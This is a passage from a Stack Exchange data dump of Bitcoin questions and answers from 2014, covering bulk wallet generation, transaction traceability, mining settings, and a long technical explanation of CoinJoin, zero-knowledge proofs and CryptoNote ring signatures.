bitcoin.conf here : &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Sample_Bitcoin.conf&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin#Sample_Bitcoin.conf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="7267" LastEditDate="2014-07-14T20:32:35.633" LastActivityDate="2014-07-14T20:32:35.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29456" PostTypeId="1" CreationDate="2014-07-14T01:25:40.740" Score="0" ViewCount="47" Body="&lt;p&gt;it's been a long time. I'm updating my udemy course on Bitcoin and I'm curious what educational content has been released since September of 2013 on Bitcoin. Specifically have you guys encountered an aggregated list or has someone taken up the mantle of BEP since I left? &lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2020-04-01T01:46:08.607" Title="2014 Educational Content on Bitcoin" Tags="|education|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29457" PostTypeId="1" CreationDate="2014-07-14T05:42:59.080" Score="2" ViewCount="4698" Body="&lt;p&gt;I need to trace a bitcoin transaction to find out roughly  where in the world the wallet is located. Is it possible to use a program, or manual-method, to trace/track a bitcoin transaction to find the recipients IP address or which area in in world they are in? If so, roughly how accurate is it?&lt;/p&gt;&#xA;" OwnerUserId="18580" LastActivityDate="2023-09-17T17:01:42.663" Title="How do I trace a bitcoin transaction to find its location in the world" Tags="|traceability|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29458" PostTypeId="2" ParentId="29456" CreationDate="2014-07-14T05:50:09.533" Score="1" Body="&lt;p&gt;Besides your course, there's &lt;a href=&quot;https://www.khanacademy.org/economics-finance-domain/core-finance/money-and-banking/bitcoin/v/bitcoin-what-is-it&quot; rel=&quot;nofollow&quot;&gt;Khan Academy's&lt;/a&gt;, Stanford's &lt;a href=&quot;http://online.stanford.edu/course/cryptography&quot; rel=&quot;nofollow&quot;&gt;cryptography course&lt;/a&gt;, and a rather superficial course on lynda, amongst more scattered material.&lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2014-07-14T05:50:09.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29459" PostTypeId="2" ParentId="3383" CreationDate="2014-07-14T05:56:15.737" Score="2" Body="&lt;p&gt;Assuming you want an app which is secure, but presumes that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the mobile is completely compromised;  &lt;/li&gt;&#xA;&lt;li&gt;the private key has a strong password;  &lt;/li&gt;&#xA;&lt;li&gt;there is a backup of the private key.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A form of two-factor authentication, perhaps through bluetooth on another device, may be able to provide enough security for most use cases and most current bitcoin demographics.  Still, that would of course bring the usual trade-off of bringing additional overhead to user experience.&lt;/p&gt;&#xA;" OwnerUserId="890" LastEditorUserId="15412" LastEditDate="2014-07-14T08:08:14.163" LastActivityDate="2014-07-14T08:08:14.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29460" PostTypeId="2" ParentId="3383" CreationDate="2014-07-14T06:23:35.053" Score="0" Body="&lt;p&gt;Not unless it is open source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;http://replicant.us&quot; rel=&quot;nofollow&quot;&gt;http://replicant.us&lt;/a&gt; (Free / Open Source Android)&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2014-07-14T06:23:35.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29461" PostTypeId="2" ParentId="29457" CreationDate="2014-07-14T08:04:42.523" Score="2" Body="&lt;p&gt;I think there is no such thing as a defined location for a wallet. Two main reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can create an offline wallet, and the web doesn't even know about it. &lt;/li&gt;&#xA;&lt;li&gt;You can have multiple wallets (back-up, multiple computers, whatever) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="15412" LastEditDate="2014-07-14T08:19:08.250" LastActivityDate="2014-07-14T08:19:08.250" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="29463" PostTypeId="2" ParentId="16885" CreationDate="2014-07-14T10:13:03.973" Score="1" Body="&lt;p&gt;Some calculations are done in the &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;Bitcoin whitepaper&lt;/a&gt;. Many research papers have been written about Bitcoin, some algorithmic in nature, they appear in &lt;a href=&quot;https://en.bitcoin.it/wiki/Research&quot; rel=&quot;nofollow&quot;&gt;this list in the wiki&lt;/a&gt;. Finally, I can refer to some of my own papers, which involve several calculations, &lt;a href=&quot;https://bitcoil.co.il/pool_analysis.pdf&quot; rel=&quot;nofollow&quot;&gt;Analysis of Bitcoin Poole Mining Reward Systems&lt;/a&gt; and &lt;a href=&quot;https://bitcoil.co.il/Doublespend.pdf&quot; rel=&quot;nofollow&quot;&gt;Analysis of Hashrate-Based Double Spending&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-07-14T10:13:03.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29464" PostTypeId="1" CreationDate="2014-07-14T10:22:03.073" Score="1" ViewCount="297" Body="&lt;p&gt;I have an AntMiner S2 (1TH/s) and I'd like to mine both on BTC and NMC.&lt;/p&gt;&#xA;&lt;p&gt;Would that be possible, for instance, to use 50% of power just for BTC workloads and the other 50% for NMC?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;What exactly is the Intensity parameter?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;ckolivas&lt;/code&gt; &lt;a href=&quot;https://bitcointalk.org/index.php?topic=87022.msg956792#msg956792&quot; rel=&quot;nofollow noreferrer&quot;&gt;says&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Intensity is the amount of work in one go the GPU has to do before it can return its results.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;But I'm still confused: what is it in practice?&lt;/p&gt;&#xA;" OwnerUserId="18508" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-03-06T21:29:19.953" Title="Is there any argument to be passed to CGMiner\AntMiner S2 to reserve amounts of hashing power for specific workloads?" Tags="|asic|cgminer|miner-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29465" PostTypeId="1" CreationDate="2014-07-14T10:24:06.053" Score="3" ViewCount="6007" Body="&lt;p&gt;I want to generate, say 100000 key pairs (address/private key). It should be done offline, without using websites/javascript , with a program on the command line. Of course, the software should use the best way to generate randomness. There is such function on &lt;a href=&quot;https://www.bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;https://www.bitaddress.org&lt;/a&gt; , but it's javascript and is not easy to be used by scripts on the command line. Do you know of such software?&lt;/p&gt;&#xA;" OwnerUserId="18584" LastActivityDate="2021-01-25T20:12:55.363" Title="How to generate a bulk wallet offline with python, java or c++?" Tags="|address-generation|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29466" PostTypeId="2" ParentId="29464" CreationDate="2014-07-14T10:27:47.850" Score="0" Body="&lt;p&gt;Try to play around with the &lt;code&gt;intensity&lt;/code&gt; flag (&lt;code&gt;-I&lt;/code&gt;). You can set it to a low number (e.g. 4/5) or dynamic (&lt;code&gt;-I d&lt;/code&gt;). I don't think there is an option to limit to exactly 50%, but you can try to play with this setting, and look what happens. If you set both CGMiners to dynamic, maybe they will divide the hashing power equally, and that is exactly what you want. &lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-07-14T10:27:47.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29467" PostTypeId="2" ParentId="29465" CreationDate="2014-07-14T10:35:34.010" Score="3" Body="&lt;p&gt;A very simple way is to use &lt;a href=&quot;https://en.bitcoin.it/wiki/Vanitygen&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Vanitygen&lt;/code&gt;&lt;/a&gt; with the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vanitygen -k -o output.txt -s seeds.txt 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;-k&lt;/code&gt; keeps it going after it finds a hit&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-o output.txt&lt;/code&gt; will write the key pairs to the file &lt;code&gt;output.txt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-s seeds.txt&lt;/code&gt; will let you have different seeds. Create this on beforehand&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1&lt;/code&gt; is the pattern Vanitygen will look for. Because all addresses start with &lt;code&gt;1&lt;/code&gt;, every hit will be good. Also nice if you want to have nice addresses, like &lt;code&gt;1Hristo&lt;/code&gt; or something. Keep in mind that it will reduce speed ALOT.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Vanitygen creates about 300 kKey/second on my 2010 MBP CPU. With &lt;code&gt;oclvanitygen&lt;/code&gt; it is around 750 kKeys/second. The &lt;code&gt;output.txt&lt;/code&gt; will reduce the speed a bit, but it will not take a lifetime. I am not on a computer right now on which I can test the command, but it &lt;em&gt;should&lt;/em&gt; work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will generate key pairs until infinity. If you really want to have exactly 1000000 (or any other number) pairs, try something with a bash for-loop, and something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vanitygen 1 &amp;gt;&amp;gt; output.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, I cannot check this right now, so I don't know how the pairs will be in the &lt;code&gt;output.txt&lt;/code&gt;, but it should be appended and readable for you. &lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-07-14T10:35:34.010" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29468" PostTypeId="1" CreationDate="2014-07-14T11:47:29.913" Score="3" ViewCount="1681" Body="&lt;p&gt;If I have a bulk wallet with, say 100000 key pairs (address/private key) and I have received payments on any, say 1000 of them, how can I sweep all the coins to a new address? It would be even better if I can do it from the command line, for example &lt;code&gt;&amp;gt; sweep keypairs.txt 1Q7nrZ7PGWTtKVkQk1mLZovbJKEfLubXtv&lt;/code&gt; and all the available coins are transacted to the destination address. The format is for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1,&quot;1E4MuBWjv2qZeJH5ti9ig5XMoJHQF63cdX&quot;,&quot;5JmLyBtdFEaKefsFXPd9E9PmbvT8JogG1V6Yer5jmZ9MX6bXP88&quot;&#xA;2,&quot;1BhJsijfGxwbzKgkQj5hRLDnBkmX2Y1RNN&quot;,&quot;5K5BBepZgaq8n9sJrsoM5inEWCX7W8bh7U8fr2wSP1PAkseasdQ&quot;&#xA;3,&quot;1ATP4LHYxqCZhDva661SLWJoN3vdNE2u1J&quot;,&quot;5JchXy3Y97F3TjaHsMJmyaaik1Gd4DpLP15PegbcvcZ5u2HBJg7&quot;&#xA;...&#xA;100000,&quot;17GX2ZFSpDip3BR6jMYP5He53tPMZqpSSG&quot;,&quot;5JyZsU9K2kokXzJQjg5F7mormCcwiPBcBjD3UZXHNwMSPuDGCNK&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18584" LastActivityDate="2014-08-19T02:52:23.560" Title="How to sweep a bulk wallet?" Tags="|wallet|spending|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29469" PostTypeId="2" ParentId="29457" CreationDate="2014-07-14T12:38:52.913" Score="3" Body="&lt;p&gt;The Bitcoin blockchain does not have any concept of location, nor could such a thing be added to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no such thing as &quot;tracing a transaction&quot; in a corporeal sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had a comprehensive global surveillance network, you could attempt to connect to every Bitcoin node in the network (including all the nodes located in Tor) and use timing analysis to attempt to guess the originating node of any given transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had that surveillance capability, it would only tell about the specific outputs which were being spent and nothing about outputs which the user of that wallet might possess which have not yet been spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, Bitcoin was designed to make what you're trying to do impossible.&lt;/p&gt;&#xA;" OwnerUserId="15133" LastActivityDate="2014-07-14T12:38:52.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29470" PostTypeId="1" CreationDate="2014-07-14T12:55:19.800" Score="2" ViewCount="257" Body="&lt;p&gt;I'm familiar with the Coinbase and Blockchain.info approaches to this, but both these require registration/login (correct me if I'm wrong). I heard about something called Coinapult, but on visiting their website I don't see much about sending coins, and it says &quot;not available in your country&quot;, and I'm in the U.S. I'm pretty sure I saw something for &lt;a href=&quot;https://en.wikipedia.org/wiki/Dogecoin&quot; rel=&quot;nofollow&quot;&gt;Dogecoin&lt;/a&gt; that does this, but not bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wouldn't there be some demand for a simple service that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Lets you visit it on desktop/mobile web&lt;/li&gt;&#xA;&lt;li&gt;Has no login or account needed to send or receive coins&lt;/li&gt;&#xA;&lt;li&gt;Lets you specify a timeout and return to address if the recipient doesn't retrieve the coins in time&lt;/li&gt;&#xA;&lt;li&gt;Generates and displays a recipient bitcoin address, QR, hyperlink for you to copy/paste, scan or click so that your bitcoin wallet gets the address or payment request.&lt;/li&gt;&#xA;&lt;li&gt;Saves the private keys for the generated addresses in their own system, but with the idea that recipients of coins will be prompted to transfer funds to their own wallet.&lt;/li&gt;&#xA;&lt;li&gt;Sends an email to the recipient with a hyperlink to gain access to a web form that lets them transfer the coins to any bitcoin address they choose.&lt;/li&gt;&#xA;&lt;li&gt;Does not charge fees (maybe ad supported or maybe offers opportunity to download a wallet application) or maybe charges a very minimal transaction fee.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Anyway, does this exist for Bitcoin yet? Or what features above are missing or should get changed?&lt;/p&gt;&#xA;" OwnerUserId="16926" LastEditorUserId="1405" LastEditDate="2014-10-05T16:47:11.743" LastActivityDate="2017-04-18T07:59:21.823" Title="Is there a service that let's me &quot;send&quot; bitcoins via email and doesn't require any account creation/login?" Tags="|sending|email|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29471" PostTypeId="1" CreationDate="2014-07-11T12:51:05.350" Score="34" ViewCount="7069" Body="&lt;p&gt;I've been looking into Bitcoin recently and stumbled upon numerous notes how Bitcoin is not anonymous at all, or how it's only partially anonymous and you can easily trace your funds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this brings us to my question: is there any true anonymous cryptocurrencies which I can use and there will be no trace left. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a fairly new member to the cryptoworld, so please, keep it simple. :)&lt;/p&gt;&#xA;" OwnerDisplayName="HowardLoosingIt" LastEditorUserId="121614" LastEditDate="2023-10-01T16:24:08.837" LastActivityDate="2023-10-01T16:24:08.837" Title="Are there any truly anonymous cryptocurrencies?" Tags="|altcoin|privacy|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29472" PostTypeId="2" ParentId="29471" CreationDate="2014-07-11T13:22:44.103" Score="1" Body="&lt;p&gt;first of all, you can continue using Bitcoin, simply use coin mixer websites to send your funds like Sharecoin and others. It’s really easy to use and it provides much more anonymity compared to default sending. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Altcoin world: I would recommend you to check out the &lt;a href=&quot;https://cryptonote.org&quot; rel=&quot;nofollow&quot;&gt;CryptoNote&lt;/a&gt; protocol. It uses Ring Signatures to mix the outputs of transactions which makes it practically impossible to trace the funds. (I understand it’s your biggest concern) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the example of CN implementation you should look into &lt;a href=&quot;https://bytecoin.org&quot; rel=&quot;nofollow&quot;&gt;Bytecoin (BCN)&lt;/a&gt;. It was started back in the 2012 and mined by approximately 2-3k people which were divided in teams.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it’s a crypto portal you probably know Adam Back, he mentioned CryptoNote as a new generation of alt coins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I feel obligated to mention few more anonymous coins to look into: &lt;a href=&quot;https://www.darkcoin.io&quot; rel=&quot;nofollow&quot;&gt;Darkcoin&lt;/a&gt;, Anoncoin and their forks.&lt;/p&gt;&#xA;" OwnerDisplayName="Jesse" LastEditorUserId="-1" LastEditDate="2014-07-31T20:27:44.483" LastActivityDate="2014-07-31T20:27:44.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29473" PostTypeId="2" ParentId="29471" CreationDate="2014-07-11T15:53:14.880" Score="52" Body="&lt;p&gt;The short answer is no. The long answer is split into three parts, each headed by a bold word.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I will talk about the existing privacy tools in Bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;I will talk about some pie-in-the-sky theoretical crypto which would achieve full anonymity (but which can't be done feasibly today).&lt;/li&gt;&#xA;&lt;li&gt;I will talk about CryptoNote, its limitations, and feasible ways around it that could be implemented today, specifically those that have already been implemented by Monero.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Today,&lt;/b&gt; you can do a lot relative to stock Bitcoin in the direction of privacy. Two strategies I should mention are &lt;a href=&quot;https://bitcointalk.org/index.php?topic=279249.0&quot;&gt;CoinJoin&lt;/a&gt; and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=321228&quot;&gt;CoinSwap&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;CoinJoin works by effectively pasting together transactions. In Bitcoin, each transaction is a list of inputs tied (by digital signature) to a list of outputs. The transaction is valid if the total output value is less than or equal to the total input value (any difference is a &quot;transaction fee&quot; claimed by miners), and if every input is a valid (not already spent) output of an old transaction. CoinJoin takes transactions from two or more users, combines the input and output lists, and has both users sign the resulting transaction. The result is that the standard flow analysis idiom of &quot;all inputs are owned by the same person&quot; and &quot;all outputs are owned by the same person, except maybe for a change output&quot; is broken. CoinJoin is tricky to implement well: output values should be as uniform as possible to avoid grouping them and matching them to input values; the resulting outputs should not be spent at the same time, since this also groups them; the join should involve two distinct parties, neither of whom is some central server participating in every join. Currently there are no good tools out there which satisfy all these requirements, but there are several in development (such as DarkWallet). Keep an eye open.&lt;/li&gt;&#xA;&lt;li&gt;CoinSwap does trustless mixing, even across different blockchains (as long as each has a sufficiently rich scripting system). It is too complex to summarize here, but the result is the same as if two parties switched private keys in person, except that there is no room for cheating. That is, coins are moved between parties but the blockchain does not see this and therefore chain analysis cannot link them — except to the extent that they look funny, so if there are almost no users doing this, their transactions can be linked on this fact alone. To the best of my knowledge, there are no tools which support this. I am developing a Bitcoin wallet for experimental features such as this that will support it, but it may be several months or years away.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Total anonymity,&lt;/b&gt; in the sense that when you spend money there is no trace of where it came from or where it's going, is theoretically possible by using the cryptographic technique of &lt;a href=&quot;https://en.wikipedia.org/wiki/Zero-knowledge_proof&quot;&gt;zero-knowledge proofs&lt;/a&gt;. As an extreme example, you could imagine that rather than publishing blocks mapping old outputs to new ones (which is what transactions are in Bitcoin), miners published zero-knowledge proofs that they had a valid set of transactions which, in aggregate, mapped the old set of all outputs to the new set of all outputs. You could further obscure this by having the recipient choose the destination address(es) and pass different ones to every miner. That way, only the miner who gets the block (who is probably different for every block) and the recipient knows where money is going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In what I've described, the values of all coins would still be visible, and perhaps tracking could be done by linking similarly-valued coins. We can fix this with &lt;a href=&quot;https://bitcointalk.org/index.php?topic=305791.0&quot;&gt;homomorphically-encrypted values&lt;/a&gt;, say.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point of this musing is that there are no strong &lt;i&gt;theoretical&lt;/i&gt; reasons that what you want is impossible. But I'm going to burst the bubble I just created and talk about practical problems: firstly, to do this kind of general computation is zero-knowledge even remotely feasibly, you need to use a system which has a &lt;a href=&quot;https://en.wikipedia.org/wiki/Common_reference_string_model&quot;&gt;trusted setup&lt;/a&gt; (in cryptographic terms, the scheme is secure only in the CRS (common reference string) model). This means that some party, the scheme's creator probably, has access to secret data which will allow them to produce false proofs, effectively allowing them to undetectably print money for all time. A recent example of such a thing is the paper &lt;a href=&quot;http://eprint.iacr.org/2013/507&quot;&gt;SNARKs for C&lt;/a&gt; by Eli Ben-Sasson et. al., which provides a lot of historical context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, even with this fatal flaw, these schemes are not all that computationally feasible. Zerocoin, now superceded by Zerocash, took this approach and needed to create serious restrictions: all coins have the same value, there is no scripting (even for multisignature transactions, I believe), and even so some serious work went into special optimizations to do whatever was left (such as hashing) in zero knowledge. For ZeroCash research is going into doing the initial setup in a &lt;a href=&quot;https://en.wikipedia.org/wiki/Secure_multiparty_computation&quot;&gt;multi-party computation&lt;/a&gt; so that no individual has the secret material needed to print coins; there would be several, and as long as even one securely destroyed their data, the currency would be safe from forgery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, ZeroCash's trusted setup is orders of magnitude more complex than any other MPC that has ever been done. And the most efficient MPC schemes known depend on a trusted-setup as well, so we haven't gained anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Having said that,&lt;/b&gt; we can get something weaker than total anonymity, and it looks like we can do it in a feasible way. As has been mentioned, &lt;a href=&quot;https://cryptonote.org/inside.php&quot;&gt;CryptoNote&lt;/a&gt;-based currencies use &lt;a href=&quot;https://en.wikipedia.org/wiki/Ring_signature&quot;&gt;ring signatures&lt;/a&gt; (contrast &lt;a href=&quot;https://en.wikipedia.org/wiki/Group_signature&quot;&gt;group signatures&lt;/a&gt;, which involve a trusted party) rather than plain old ECDSA signatures in the proof-of-ownership part of their transaction signature scheme. Arguably the most well-known cryptocurrency that was originally based on CryptoNote is &lt;a href=&quot;https://getmonero.org&quot;&gt;Monero&lt;/a&gt;. Whilst Monero has subsequently deviated substantially from its CryptoNote origins, it still implements many of the key concepts below, and additionally improves a lot of the problem areas originally highlighted in this answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand how CryptoNote works we must first recap how Bitcoin transactions work. Essentially, in Bitcoin each transaction output has a public key associated to it (identified, though not revealed, by the Bitcoin address on the output), and to spend that output you need to produce a small script including a digital signature using this key. When everyone sees that transaction, they see that the old output(s) are spent (so they can forget about it, except as far as keeping historical blockchain data for new users) and that new unspent output(s) have been created. Ring signatures, on the other hand, are associated to an arbitrary set of public keys, and knowledge of only one is required to make a signature. CryptoNote uses this by having each transaction input be a &lt;i&gt;set&lt;/i&gt; of potential unspent outputs of the same value, signed by a ring signature using all those outputs' associated keys. It is impossible to determine which one is the &quot;real&quot; one that the signer is actually spending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might ask, if it's impossible to determine which outputs are being spent, how can double-spending by prevented? CryptoNote solves this using a special ring signature algorithm (which is a modified version of existing signatures, so this is original cryptography and their security proof should be scrutinized — fortunately it is not too complicated) in which the real signing key has a &lt;i&gt;key image&lt;/i&gt; associated to it, which must be published alongside the signature. This key image cannot be reversed to get the original key and deanonymize the sender, but if a double-spend is attempted, users will see that the same key image is used twice and reject the second attempt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This provides good anonymity, but even with the improvements listed presently, this is &lt;i&gt;not a zero-knowledge scheme&lt;/i&gt;. This means that linkability is confounded but an adversary with good analysis tools will certainly be able to glean a non-zero (literally, &lt;i&gt;infinity times as much&lt;/i&gt; as zero) amount of information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a very promising direction, and these signatures are feasible to verify by ordinary computers (though they are more difficult, so scaling will be worse than Bitcoin's), but there are some serious limitations. Fortunately, all are fixable. The following list is the result of conversations between myself, Greg Maxwell, Peter Todd, Mark Friedenbach, Adam Back and several others (who I'm sure will contact me to be listed :)), and to the best of my knowledge hasn't been published anywhere. So aspiring anonymous altcoins developers, here is a wishlist:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In Bitcoin, because transaction outputs are incontrovertibly spent, the total list of unspent outputs grows only very slowly. Nodes with limited storage are able to store this, and basically nothing else: when they see a new block, they verify it then update their list of unspent outputs accordingly. In CryptoNote this is impossible since transaction outputs are never definitely spent: there is a giant list of potentially spendable outputs, and a giant list of spent key images, and both of these grow very quickly and never shrink. Current CryptoNote implementations, except for Monero, store this all in RAM, which puts a pretty serious cap on their scalability today. One of Monero's scalability improvements is to store this set on disk in a &lt;a href=&quot;https://github.com/monero-project/bitmonero/releases/tag/v0.9.0&quot;&gt;very fast LMDB database&lt;/a&gt;, but the set of mixable outputs is still unbounded and is expected to grow faster than Bitcoin's comparable utxoset.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, this can be further be improved by having users store only the outputs whose keys they own (plus some extras for anonymity) and only a subset of spent key images, which I will describe. The set of outputs would be stored in an insertion-ordered Merkle tree (so a user storing almost none of the tree can easily verifiably append new outputs, but can't detect duplicates, which is fine). The set of images would be stored in a image-ordered Merkle tree (so a user storing almost none of the tree can easily add a new key image and verify that it didn't exist before, given a proof of insertion, which is basically a path from the new node to the root of the tree, along with the siblings of each node along the way). To spend an output, the user provides a ring signature including the output, with appropriate key image and proof-of-new-insertion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that to produce a proof of insertion for the new key image, the user needs to store all its neighbors in the key image tree. Since key images are random-looking, how can this be done without storing the whole thing? The answer is &lt;i&gt;prefix-filtering&lt;/i&gt;. When a user creates a new key, he creates one whose first 10 bits (say) are a specific ten-bit sequence that all his key images will have. He stores every key image that starts these ten bits so that he can produce proof-of-insertion of such images. The result is a reduction in anonymity (by a factor of $2^{10}$) since everyone will know that nearby key images are more likely to be owned by the same person than are far-away ones, but a corresponding reduction in storage requirements (by a factor of $2^{10}$) and an increase in key generation time (since on average $2^{10}$ keys will need to be generated before one with the right prefix comes along). This is a tradeoff that every user will have to make.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter Todd has suggested choosing a new prefix every few months or years, and retiring those in which every known key image has been used. This gets more privacy for the storage hit than simply decreasing the prefix length, since two key images in different prefix sets don't reveal their common owner.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;With ring signatures, the anonymity set is only as large as you make it, probably just two or three potential keys per signature.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We can improve this to effectively CoinJoin all transactions in each block (with the caveats that (a) miners can deanonymize the CoinJoin, reducing anonymity to the smaller set provided by the ring signatures, and (b) it is possible to miners to detectably cheat, so there is a small window after mining in which block content might be invalidated by revealing its cheating, which increases complexity) (the complexity hit is because it is important that the block &lt;i&gt;content&lt;/i&gt;, not the block itself, be invalidated, since otherwise miners could deliberately cheat then reveal the cheating later, giving them a large window in which everyone else is mining a bad chain). The exact scheme is described &lt;a href=&quot;https://download.wpsoftware.net/bitcoin/wizards/2014-06-22.html&quot;&gt;at the very top of this IRC log&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The same security can be provided with fancy cryptography, specifically &lt;a href=&quot;https://download.wpsoftware.net/bitcoin/wizardry/horasyuanmouton-owas.pdf&quot;&gt;one-way aggregatable signatures&lt;/a&gt; (&quot;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=290971.msg3140972#msg3140972&quot;&gt;just the math&lt;/a&gt;&quot; by Greg Maxwell), which depends on pairing-based cryptography, which is slow and requires new security assumptions that make some people uncomfortable. The exact way these would be used is described &lt;a href=&quot;https://download.wpsoftware.net/bitcoin/wizards/2014-06-19.html&quot;&gt;from 21:24:58 onward in these IRC logs&lt;/a&gt;. It is very cool that we can get the same security with no new crypto.)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;With ring signatures, your anonymity can be compromised after the fact by others in your anonymity set. For example, if you spend an output using a ring signature along with two other outputs, then those other outputs' owners spend them with a single-signature ring signature (so they are incontrovertibly spent), it is now clear which of the three you used is yours, since each can be spent only once. This can be done long after the fact, which complicates analysis.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This can be fixed by requiring a minimum size of anonymity set, as &lt;a href=&quot;https://lab.getmonero.org/pubs/MRL-0004.pdf&quot;&gt;Monero has done&lt;/a&gt; on a protocol level since March, 2016. But then we have a new problem — there are only so many outputs of any given size, and since all outputs in an anonymity set must be the same size (so the network knows how much you are spending), this might not be possible. This can be fixed by allowing outputs of any size in the anonymity set, and taking the minimum size to be the spend amount. But then given a ring signature across several outputs' keys, people will know that the output with smallest size will be the &quot;real&quot; one. This is because each output can only be spent once, so if you mix it with smaller outputs, you are basically shrinking it to the size of those outputs since the network will only recognize the smaller 